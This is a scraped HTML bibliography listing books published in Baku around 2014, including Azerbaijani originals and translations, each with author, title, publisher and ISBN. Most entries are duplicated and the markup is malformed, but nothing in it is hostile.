.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Əsərləri 1918-aprel 1920 .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952267945</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsulzadə, M. Ə. Əsərləri: 1918- aprel 1920. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267945</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsulzadə, M. Ə. Əsərləri: 1918- aprel 1920. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267945</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rid, M. Oseola seminollarin başçısı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241808</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rid, M. Oseola seminollarin başçısı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241808</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rıhtım, M. Halvetiyye sufiliği. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468267</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rıhtım, M. Halvetiyye sufiliği. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468267</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Roulinq , C . K . Harri potter və azkaban məhbusu .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN :&nbsp; 9789952268508</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rulfo, X. Pedro Paramo. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266658</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rulfo, X. Pedro Paramo. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266658</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkçülük yolunda. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267150</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkçülük yolunda. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267150</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkün milli vicdanının səsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkün milli vicdanının səsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sahil, S. İsanın qadını. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267723</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sahil, S. İsanın qadını. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267723</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Saidi, Q. TOP. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266795</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Saidi, Q. TOP. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266795</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sand ,&nbsp; J . İndiana&nbsp; .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp;&nbsp; 9789952267983</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sekman, M. Hər şey səninlə başlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266696</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sekman, M. Hər şey səninlə başlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266696</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sençin, R. İki povest, iki müsahibə. Bakı: Mütərcim, 2014. ISBN: 9789952281873</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sençin, R. İki povest, iki müsahibə. Bakı: Mütərcim, 2014. ISBN: 9789952281873</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sevər, S. E. Falçı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266566</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sevər, S. E. Falçı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266566</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Səmədoğlu, Y. Qətl günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266689</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Səmədoğlu, Y. Qətl günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266689</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sənii, P. Mənim payım. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265972</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sənii, P. Mənim payım. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265972</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sizov, A. Uğurlu satış üçün 55 məsləhət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sizov, A. Uğurlu satış üçün 55 məsləhət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Soltan Cəfər oğlu Mehdiyev. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Soltan Cəfər oğlu Mehdiyev. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Svayq, S. Tarixi miniatürlər . Bakı : Qanun, 2014 . ISBN : 9789952268485</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Svift, C. Qulliverin səyahətləri. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Svift, C. Qulliverin səyahətləri. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şafak, E. Qara süd. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267235</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şafak, E. Qara süd. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267235</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şahbazov, R. Onun həyatında iki qadın var idi. Bakı: Mütərcim, 2014. ISBN: 9789952281835</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şahbazov, R. Onun həyatında iki qadın var idi. Bakı: Mütərcim, 2014. ISBN: 9789952281835</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şarma , R&nbsp; . Ferrarisini satmış rahib&nbsp; .&nbsp; Bakı :&nbsp; Kitab klubu&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952812511</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmistan Nəzirli: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460360</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmistan Nəzirli: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460360</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Müdriklər bunları deməyib... Bakı: Proqres, 2014. ISBN: 9789952824421</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Müdriklər bunları deməyib... Bakı: Proqres, 2014. ISBN: 9789952824421</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Səma. Bakı: Proqres, 2014. ISBN: 9789952824414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Səma. Bakı: Proqres, 2014. ISBN: 9789952824414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Sonuncu daxma. Bakı: Proqres, 2014. ISBN: 9789952824407</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Sonuncu daxma. Bakı: Proqres, 2014. ISBN: 9789952824407</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şıxlı, İ. Dəli Kür. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267082</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şıxlı, İ. Dəli Kür. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267082</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şiklimıxhvan lüğət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şiklimıxhvan lüğət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şirinov , R.&nbsp; 40 Hədisdə Ailə . Bakı : İpəkyolu&nbsp;&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952822151</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şorbalar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267594</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şorbalar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267594</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tanpınar, Ə. H. Saatları qurma institutu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267662</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tanpınar, Ə. H. Saatları qurma institutu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267662</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Teymur Elçin: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460353</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Teymur Elçin: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460353</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təhməzov, M. Kəlbəcərin tanınmış adamları. Bakı: Şərq – Qərb ASC, 2014. ISBN: 9789952824162</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təhməzov, M. Kəlbəcərin tanınmış adamları. Bakı: Şərq – Qərb ASC, 2014. ISBN: 9789952824162</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təqvim 2015. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952460483</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təqvim 2015. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952460483</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Thirzadə,Ə .&nbsp; Aşurovlar soyun sənədli tarixi . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952443202</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş , O . N .&nbsp; Haqqa gedən yolda&nbsp; 40 sual&nbsp; . Bakı : İpəkyolu&nbsp;&nbsp; , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822168</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş , O. N . Müsəlmanın Pulla imtahanı . Bakı :&nbsp; İpəkyolu&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952822144</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Treysi,B., Arden,R .&nbsp; Xarizmanın gücü. Bakı: Qanun, 2014 . ISBN : 9789952268942</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Trotski, L. D . Gündəliklər və məktublar . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268454</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ts`əxni mizelin şikılbişikvan luğat. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ts`əxni mizelin şikılbişikvan luğat. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Turgenev , İ . Atalar və oğullar&nbsp; .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp;&nbsp; 9789952268065</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Dünyaların savaşı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Dünyaların savaşı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Zaman maşını. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Zaman maşını. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulu öndər Heydər Əliyevin Şəmkirçay su anbarının tkintisi ideyaları uğurla həyata keçirilir. Bakı: Mütərcim, 2014. ISBN: 9789952281897</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulu öndər Heydər Əliyevin Şəmkirçay su anbarının tkintisi ideyaları uğurla həyata keçirilir. Bakı: Mütərcim, 2014. ISBN: 9789952281897</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Dramaturgiyada ədəbi əlaqələr. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Dramaturgiyada ədəbi əlaqələr. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Seçilmiş əsərləri: III cild. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Seçilmiş əsərləri: III cild. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Updike, J . Terrorçu . Bakı :&nbsp; Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268829</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ümit, A. İstanbul xatirəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267228</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ümit, A. İstanbul xatirəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267228</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyev, H. Mark Tven jurnalist kimi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268034</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyev, H. Mark Tven jurnalist kimi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268034</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Vəliyev,S. Müstəqil Azərbaycan respublikasının ilk konstitusiyası və Azərbaycan mədəniyyəti .&nbsp; Bakı : Müəllim , 2014.&nbsp; ISBN 9789952435566</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Müasir Azərbaycan dilində söz tərkibinin müəyyənləşməsi. Bakı: Müəllim nəşriyyatı, 2014. ISBN: 9789952435504</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Müasir Azərbaycan dilində söz tərkibinin müəyyənləşməsi. Bakı: Müəllim nəşriyyatı, 2014. ISBN: 9789952435504</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Zaman xəbərsiz ötdü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Zaman xəbərsiz ötdü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Virdü-Səttar Seyid Yəhya Əş-Şirvani Əl-Bakuvi. Bakı: Nurlar Nəşriyyat Poliqrafiya Mərkəzi, 2014. ISBN: 9789952468243</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Virdü-Səttar Seyid Yəhya Əş-Şirvani Əl-Bakuvi. Bakı: Nurlar Nəşriyyat Poliqrafiya Mərkəzi, 2014. ISBN: 9789952468243</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vitali, C. Açar: istəklərinizin qapısını aça biləcəksiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266832</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vitali, C. Açar: istəklərinizin qapısını aça biləcəksiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266832</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vudkok, P. Çevrilmiş tabutlar. Bakı: Mütərcim, 2014. ISBN: 9789952281811</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vudkok, P. Çevrilmiş tabutlar. Bakı: Mütərcim, 2014. ISBN: 9789952281811</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yaqub, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266559</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yaqub, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266559</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yixhdi Ç`al. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yixhdi Ç`al. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yiqbişin əqənabi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yiqbişin əqənabi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" 